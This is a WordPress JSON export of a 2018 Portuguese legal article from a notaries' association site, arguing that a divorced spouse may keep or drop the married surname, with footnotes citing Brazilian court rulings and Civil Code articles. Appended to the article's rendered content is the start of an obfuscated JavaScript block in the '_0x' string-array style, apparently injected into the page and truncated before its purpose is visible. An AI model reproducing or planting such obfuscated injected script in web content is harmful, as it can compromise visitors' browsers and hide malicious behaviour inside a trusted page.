{"id":1301,"date":"2018-02-05T17:39:18","date_gmt":"2018-02-05T19:39:18","guid":{"rendered":"http:\/\/www.anoregmt.org.br\/novo\/e-prerrogativa-do-conjuge-mudar-ou-manter-o-nome-de-casado-apos-o-divorcio\/"},"modified":"2018-02-05T17:39:18","modified_gmt":"2018-02-05T19:39:18","slug":"e-prerrogativa-do-conjuge-mudar-ou-manter-o-nome-de-casado-apos-o-divorcio","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/e-prerrogativa-do-conjuge-mudar-ou-manter-o-nome-de-casado-apos-o-divorcio\/","title":{"rendered":"\u00c9 prerrogativa do c\u00f4njuge mudar ou manter o nome de casado ap\u00f3s o div\u00f3rcio"},"content":{"rendered":"<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Em se tratando de casamento, aplica-se diretamente o disposto no par&aacute;grafo 1&ordm; do artigo&nbsp;1.565 do C&oacute;digo Civil<a href=\"https:\/\/www.conjur.com.br\/2018-fev-04\/processo-familiar-prerrogativa-conjuge-mudar-ou-manter-nome-casado#sdfootnote1sym\">1<\/a>. Esse acr&eacute;scimo, normalmente, &eacute; postulado no processo de habilita&ccedil;&atilde;o, mas pode ocorrer depois do casamento. J&aacute; decidiu o STJ que o direito de acrescer o sobrenome &ldquo;deve-se estender ao per&iacute;odo de conviv&ecirc;ncia do casal, enquanto perdurar o v&iacute;nculo conjugal. Por&eacute;m, nesta hip&oacute;tese, o nome deve ser acrescido por interm&eacute;dio da a&ccedil;&atilde;o de retifica&ccedil;&atilde;o de registros p&uacute;blicos, nos termos dos arts. 57 e 109 da Lei de Registros P&uacute;blicos (Lei n. 6.015\/1973)&rdquo;<a href=\"https:\/\/www.conjur.com.br\/2018-fev-04\/processo-familiar-prerrogativa-conjuge-mudar-ou-manter-nome-casado#sdfootnote2sym\">2<\/a>.<\/p>\n<div class=\"entry-content\">\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Na uni&atilde;o est&aacute;vel, a Lei de Registros P&uacute;blicos (Lei 6.015\/73) j&aacute; permitia a averba&ccedil;&atilde;o do patron&iacute;mico do companheiro pela companheira, desde que ambos fossem &ldquo;solteiros, desquitados ou vi&uacute;vos&rdquo; e desde que houvesse impedimento legal para o casamento, decorrente do estado civil de qualquer das partes ou de ambas (artigo&nbsp;57, par&aacute;grafo&nbsp;2&ordm;). Atualmente, aplica-se &agrave; uni&atilde;o est&aacute;vel, por analogia e constru&ccedil;&atilde;o jurisprudencial<a href=\"https:\/\/www.conjur.com.br\/2018-fev-04\/processo-familiar-prerrogativa-conjuge-mudar-ou-manter-nome-casado#sdfootnote3sym\">3<\/a>, as mesmas regras do casamento quanto ao acr&eacute;scimo do sobrenome, ou seja, o par&aacute;grafo 1&ordm; do artigo&nbsp;1.565 do C&oacute;digo Civil.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O acr&eacute;scimo do sobrenome, segundo Rodrigo da Cunha Pereira, era tido como um ato simb&oacute;lico da &ldquo;fus&atilde;o de almas&rdquo; decorrente do casamento. Contudo, o autor considera isso um equ&iacute;voco, pois &ldquo;misturar os nomes pode significar mesclar e confundir as identidades. O nome &eacute; um dos principais identificadores do sujeito e constitui, por isso mesmo, um dos direitos essenciais da personalidade. Mistur&aacute;-los significa n&atilde;o preservar a singularidade&rdquo;<a href=\"https:\/\/www.conjur.com.br\/2018-fev-04\/processo-familiar-prerrogativa-conjuge-mudar-ou-manter-nome-casado#sdfootnote4sym\">4<\/a>.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A ado&ccedil;&atilde;o do sobrenome do marido pela mulher sempre foi (e continua sendo) uma tradi&ccedil;&atilde;o entre n&oacute;s. Na vig&ecirc;ncia do CC\/1916 e at&eacute; o advento do Estatuto da Mulher Casada (Lei&nbsp;4.121\/62), o acr&eacute;scimo era obrigat&oacute;rio para a mulher. Depois de 1962, tornou-se facultativo, mas ainda prerrogativa exclusiva da mulher. A partir do CC\/2002, tamb&eacute;m o marido (e por extens&atilde;o o companheiro) adquiriu o direito de acrescer o sobrenome da mulher, muito embora essa situa&ccedil;&atilde;o seja pouco frequente na pr&aacute;tica, por raz&otilde;es culturais.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Bom que se esclare&ccedil;a que aquilo que a lei permite &eacute; o &ldquo;acr&eacute;scimo&rdquo;, ou seja, ao casar, um c&ocirc;njuge pode somar aos seus os apelidos de fam&iacute;lia do outro c&ocirc;njuge, mas n&atilde;o pode &ldquo;substituir&rdquo; os seus pelo do c&ocirc;njuge. Inexiste autoriza&ccedil;&atilde;o legal para a supress&atilde;o de apelidos de fam&iacute;lia.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Com a dissolu&ccedil;&atilde;o do casamento ou da uni&atilde;o est&aacute;vel, tem-se, como um dos primeiros efeitos pessoais do div&oacute;rcio ou do fim da conviv&ecirc;ncia, a possibilidade de os ex-c&ocirc;njuges ou ex-companheiros retomarem o uso dos nomes que usavam antes da rela&ccedil;&atilde;o conjugal ou convivencial. Isso pode ocorrer tanto por ocasi&atilde;o da senten&ccedil;a de div&oacute;rcio ou de dissolu&ccedil;&atilde;o&nbsp;como posteriormente, por iniciativa de quaisquer dos ex-c&ocirc;njuges ou ex-companheiros<a href=\"https:\/\/www.conjur.com.br\/2018-fev-04\/processo-familiar-prerrogativa-conjuge-mudar-ou-manter-nome-casado#sdfootnote5sym\">5<\/a>.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Antes do CC\/2002, a perda do nome de casado era quase obrigat&oacute;ria. &Eacute; que o par&aacute;grafo &uacute;nico do artigo&nbsp;25 da lei divorcista (Lei 6.515\/77) impunha como regra a perda do nome, por ato da convers&atilde;o em div&oacute;rcio da separa&ccedil;&atilde;o judicial, excetuadas as hip&oacute;teses de conserva&ccedil;&atilde;o por raz&otilde;es de evidente preju&iacute;zo.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Na separa&ccedil;&atilde;o judicial, a manuten&ccedil;&atilde;o ou perda do nome estava relacionada &agrave; discuss&atilde;o da culpa, e a perda do nome somente teria lugar se vencida a mulher naquela a&ccedil;&atilde;o.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Com o c&oacute;digo de 2002, a regra foi invertida. O par&aacute;grafo 2&ordm; do artigo&nbsp;1.571 permitiu, expressamente, a manuten&ccedil;&atilde;o do nome de casado<a href=\"https:\/\/www.conjur.com.br\/2018-fev-04\/processo-familiar-prerrogativa-conjuge-mudar-ou-manter-nome-casado#sdfootnote6sym\">6<\/a>, pelo c&ocirc;njuge divorciado, em tutela do seu direito ao nome (direito da personalidade), seja pelo div&oacute;rcio direto, seja pelo div&oacute;rcio-convers&atilde;o, em inexistindo ren&uacute;ncia a esse direito, salvo no caso da perda determinada por senten&ccedil;a judicial em face dessa &uacute;ltima esp&eacute;cie de div&oacute;rcio, regulada na forma do artigo&nbsp;1.578<a href=\"https:\/\/www.conjur.com.br\/2018-fev-04\/processo-familiar-prerrogativa-conjuge-mudar-ou-manter-nome-casado#sdfootnote7sym\">7<\/a>. Esse dispositivo estabeleceu a perda condicionada do direito de uso do sobrenome pelo c&ocirc;njuge declarado culpado mediante crit&eacute;rios objetivamente considerados a&nbsp;<em>contrario sensu<\/em>, a partir do elemento volitivo do c&ocirc;njuge inocente que haveria de, expressamente, requerer a n&atilde;o conserva&ccedil;&atilde;o, pelo ex-consorte, daquele direito.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Mesmo antes da EC 66\/2010, que provocou o afastamento definitivo de qualquer discuss&atilde;o de culpa no bojo da a&ccedil;&atilde;o de div&oacute;rcio, j&aacute; defend&iacute;amos a inconstitucionalidade do artigo 1.578 do CC<a href=\"https:\/\/www.conjur.com.br\/2018-fev-04\/processo-familiar-prerrogativa-conjuge-mudar-ou-manter-nome-casado#sdfootnote8sym\">8<\/a>.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A aquisi&ccedil;&atilde;o do patron&iacute;mico do c&ocirc;njuge, pelo casamento, como j&aacute; afirmado, constitui, induvidosamente, direito de personalidade.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O nome, como direito da personalidade, constitui o principal &ldquo;elo de liga&ccedil;&atilde;o entre o indiv&iacute;duo e a sociedade em geral&rdquo;<a href=\"https:\/\/www.conjur.com.br\/2018-fev-04\/processo-familiar-prerrogativa-conjuge-mudar-ou-manter-nome-casado#sdfootnote9sym\">9<\/a>, pois identifica e diferencia a pessoa dentro do tecido social.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A Constitui&ccedil;&atilde;o de 1988 n&atilde;o previu, de maneira expl&iacute;cita, a prote&ccedil;&atilde;o ao nome da pessoa natural, muito embora o fa&ccedil;a de maneira indireta, ao tutelar o direito de resposta, proporcional ao agravo, al&eacute;m da indeniza&ccedil;&atilde;o cab&iacute;vel (artigo 5&ordm;, V); bem como ao proteger a inviolabilidade da intimidade, da vida privada, da honra e da imagem das pessoas (5&ordm;, X, CF).<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O C&oacute;digo Civil de 2002, por sua vez, trouxe norma expressa de prote&ccedil;&atilde;o ao direito &agrave; identidade<a href=\"https:\/\/www.conjur.com.br\/2018-fev-04\/processo-familiar-prerrogativa-conjuge-mudar-ou-manter-nome-casado#sdfootnote10sym\">10<\/a>, que abrange o nome, o prenome, o nome dos pais, ou patron&iacute;mico, o gent&iacute;lico ou nome de fam&iacute;lia, o sobrenome adquirido pelo casamento ou por ado&ccedil;&atilde;o, e ainda quaisquer outros sinais identificadores da pessoa.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A perda do nome da mulher casada, consoante anteriormente previsto na Lei do Div&oacute;rcio, ou mesmo a perda do nome do c&ocirc;njuge considerado &ldquo;culpado&rdquo;, tal como preconizado no defasado artigo&nbsp;1.578, viola um direito da personalidade.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Por essas raz&otilde;es, &eacute; inconstitucional (artigo&nbsp;5&ordm;, X, CF) a perda ao direito do uso do nome de casado, estabelecida pelo artigo&nbsp;1.578, quaisquer que sejam as raz&otilde;es.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; As ressalvas feitas pelo dispositivo, exce&ccedil;&otilde;es de manten&ccedil;a j&aacute; trazidas pela Lei 8.408\/1992 (que deu nova reda&ccedil;&atilde;o ao artigo&nbsp;25 da Lei de Div&oacute;rcio), atenuando a hip&oacute;tese da penalidade imposta, n&atilde;o afastam a eiva de inconstitucionalidade.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Em suma, adquirido o sobrenome pelo casamento e incorporado este aos caracteres identificadores do c&ocirc;njuge na sociedade, somente a ren&uacute;ncia pelo que agregou o sobrenome possibilitar&aacute; a altera&ccedil;&atilde;o do registro civil e o retorno ao nome de solteiro. Irrelevante a perquiri&ccedil;&atilde;o de culpa. Culpado ou inocente, manter&aacute; o seu direito da personalidade.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A mudan&ccedil;a do nome de casado ou a sua conserva&ccedil;&atilde;o, com a dissolu&ccedil;&atilde;o do casamento, &eacute; uma prerrogativa do c&ocirc;njuge.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.conjur.com.br\/2018-fev-04\/processo-familiar-prerrogativa-conjuge-mudar-ou-manter-nome-casado#sdfootnote1anc\">1<\/a>&nbsp;Par&aacute;grafo&nbsp;1&ordm; Qualquer dos nubentes, querendo, poder&aacute; acrescer ao seu o sobrenome do outro.<br \/>\n<a href=\"https:\/\/www.conjur.com.br\/2018-fev-04\/processo-familiar-prerrogativa-conjuge-mudar-ou-manter-nome-casado#sdfootnote2anc\">2<\/a>&nbsp;STJ &ndash; REsp 910.094-SC, rel. Raul Ara&uacute;jo, julgado em 4\/9\/2012.<br \/>\n<a href=\"https:\/\/www.conjur.com.br\/2018-fev-04\/processo-familiar-prerrogativa-conjuge-mudar-ou-manter-nome-casado#sdfootnote3anc\">3<\/a>&nbsp;&ldquo;&Eacute; sabido que as possibilidades de altera&ccedil;&atilde;o de nome dentro da legisla&ccedil;&atilde;o nacional s&atilde;o escassas, ocorrendo, no mais das vezes, flexibiliza&ccedil;&atilde;o jurisprudencial da vetusta Lei 6.015\/73, em decorr&ecirc;ncia do transcurso de quase quatro d&eacute;cadas, entremeado pelo advento do div&oacute;rcio e por nova constitui&ccedil;&atilde;o que, em muitos aspectos, fixou balizas novas para os relacionamentos interpessoais &ndash; como a igualdade entre os sexos dentro da rela&ccedil;&atilde;o familiar &ndash; e ainda, reconheceu a exist&ecirc;ncia de novos institutos, v.g. a uni&atilde;o est&aacute;vel, na qual se enquadra o relacionamento vivenciado pela recorrente nos &uacute;ltimos trinta anos&rdquo;&nbsp;(STJ &ndash; Recurso Especial 1.206.656-GO).<br \/>\n<a href=\"https:\/\/www.conjur.com.br\/2018-fev-04\/processo-familiar-prerrogativa-conjuge-mudar-ou-manter-nome-casado#sdfootnote4anc\">4<\/a>&nbsp;PEREIRA, Rodrigo da Cunha.&nbsp;<em>Div&oacute;rcio. Teoria e pr&aacute;tica<\/em>. 4. ed. S&atilde;o Paulo: Saraiva, 2013, p. 86.<br \/>\n<a href=\"https:\/\/www.conjur.com.br\/2018-fev-04\/processo-familiar-prerrogativa-conjuge-mudar-ou-manter-nome-casado#sdfootnote5anc\">5<\/a>&nbsp;Como o acr&eacute;scimo do sobrenome &eacute; apenas uma possibilidade, uma op&ccedil;&atilde;o, mas n&atilde;o um efeito necess&aacute;rio do casamento, a sua supress&atilde;o pode ser feita independentemente do div&oacute;rcio. Nesse sentido, j&aacute; decidiu o TJ-RS: &lsquo;AGRAVO DE INSTRUMENTO. DIV&Oacute;RCIO. MULHER QUE ADOTOU O NOME DO MARIDO. FILHO DE NOVO RELACIONAMENTO POR NASCER. PEDIDO DE ANTECIPA&Ccedil;&Atilde;O DE TUTELA PARA VOLTAR AO USO DO NOME DE SOLTEIRA ANTES DO DECRETO JUDICIAL DO DIV&Oacute;RCIO. 1. O nome integra o acervo de direitos de personalidade e identifica a pessoa individual e socialmente. Est&aacute; suficientemente justificada a necessidade de antecipar os efeitos da tutela final, uma vez que se aproxima o nascimento de filho de nova rela&ccedil;&atilde;o familiar e, como &eacute; f&aacute;cil estimar, naturalmente gera dissabores a manuten&ccedil;&atilde;o do nome da m&atilde;e, como se ainda casada, faticamente, estivesse, com o primeiro marido, sendo outro o pai da crian&ccedil;a. 2. N&atilde;o obstante o pedido, na origem, n&atilde;o seja de div&oacute;rcio consensual, n&atilde;o h&aacute; possibilidade de a pretens&atilde;o, no essencial, ser desacolhida, mesmo com eventual contesta&ccedil;&atilde;o do var&atilde;o&rsquo;&nbsp;(Agravo de Instrumento 70047188388, 8&ordf; C&acirc;mara C&iacute;vel, Tribunal de Justi&ccedil;a do RS, relator: Luiz Felipe Brasil Santos, julgado em 25\/1\/2012).<br \/>\n<a href=\"https:\/\/www.conjur.com.br\/2018-fev-04\/processo-familiar-prerrogativa-conjuge-mudar-ou-manter-nome-casado#sdfootnote6anc\">6<\/a>&nbsp;&ldquo;[&hellip;] a possibilidade de manuten&ccedil;&atilde;o do nome de casada da ex-c&ocirc;njuge &ndash; quando do div&oacute;rcio ou da separa&ccedil;&atilde;o &ndash; n&atilde;o foi institu&iacute;da pelo novo C&oacute;digo Civil somente para permitir que se preservasse sua identifica&ccedil;&atilde;o social, mas, igualmente, para que o rompimento do v&iacute;nculo conjugal n&atilde;o acarretasse identifica&ccedil;&atilde;o distinta entre pessoas vinculadas pela rela&ccedil;&atilde;o parental ou familiar (quer biol&oacute;gica, quer afetiva)&rdquo;&nbsp;(Apela&ccedil;&atilde;o C&iacute;vel 70032545204, 7&ordf; C&acirc;mara C&iacute;vel, Tribunal de Justi&ccedil;a do RS, relator: Jos&eacute; Conrado Kurtz de Souza, julgado em 8\/3\/2010).<br \/>\n<a href=\"https:\/\/www.conjur.com.br\/2018-fev-04\/processo-familiar-prerrogativa-conjuge-mudar-ou-manter-nome-casado#sdfootnote7anc\">7<\/a>&nbsp;Art. 1.578. O c&ocirc;njuge declarado culpado na a&ccedil;&atilde;o de separa&ccedil;&atilde;o judicial perde o direito de usar o sobrenome do outro, desde que expressamente requerido pelo c&ocirc;njuge inocente e se a altera&ccedil;&atilde;o n&atilde;o acarretar: I &ndash; evidente preju&iacute;zo para a sua identifica&ccedil;&atilde;o; II &ndash; manifesta distin&ccedil;&atilde;o entre o seu nome de fam&iacute;lia e o dos filhos havidos da uni&atilde;o dissolvida; III &ndash; dano grave reconhecido na decis&atilde;o judicial.&sect; 1&ordm; O c&ocirc;njuge inocente na a&ccedil;&atilde;o de separa&ccedil;&atilde;o judicial poder&aacute; renunciar, a qualquer momento, ao direito de usar o sobrenome do outro. &sect; 2&ordm; Nos demais casos caber&aacute; a op&ccedil;&atilde;o pela conserva&ccedil;&atilde;o do nome de casado.<br \/>\n<a href=\"https:\/\/www.conjur.com.br\/2018-fev-04\/processo-familiar-prerrogativa-conjuge-mudar-ou-manter-nome-casado#sdfootnote8anc\">8<\/a>&nbsp;DELGADO, M&aacute;rio Luiz; ALVES, Jones Figueiredo.&nbsp;<em>C&oacute;digo Civil anotado<\/em>. S&atilde;o Paulo: M&eacute;todo, 2005, v. 1, p. 800-801.<br \/>\n<a href=\"https:\/\/www.conjur.com.br\/2018-fev-04\/processo-familiar-prerrogativa-conjuge-mudar-ou-manter-nome-casado#sdfootnote9anc\">9<\/a>&nbsp;BITTAR, Carlos Alberto.&nbsp;<em>Os direitos da personalidade<\/em>. 5. ed. atualizada por Eduardo Carlos Cabianca Bittar. Rio de Janeiro: Forense Universit&aacute;ria, 2001, p. 124.<br \/>\n<a href=\"https:\/\/www.conjur.com.br\/2018-fev-04\/processo-familiar-prerrogativa-conjuge-mudar-ou-manter-nome-casado#sdfootnote10anc\">10<\/a>&nbsp;Art. 16. Toda pessoa tem direito ao nome, nele compreendidos o prenome e o sobrenome.<\/p>\n<p style=\"text-align: justify;\">&nbsp;<\/p>\n<p style=\"text-align: justify;\">&nbsp;<\/p>\n<\/div>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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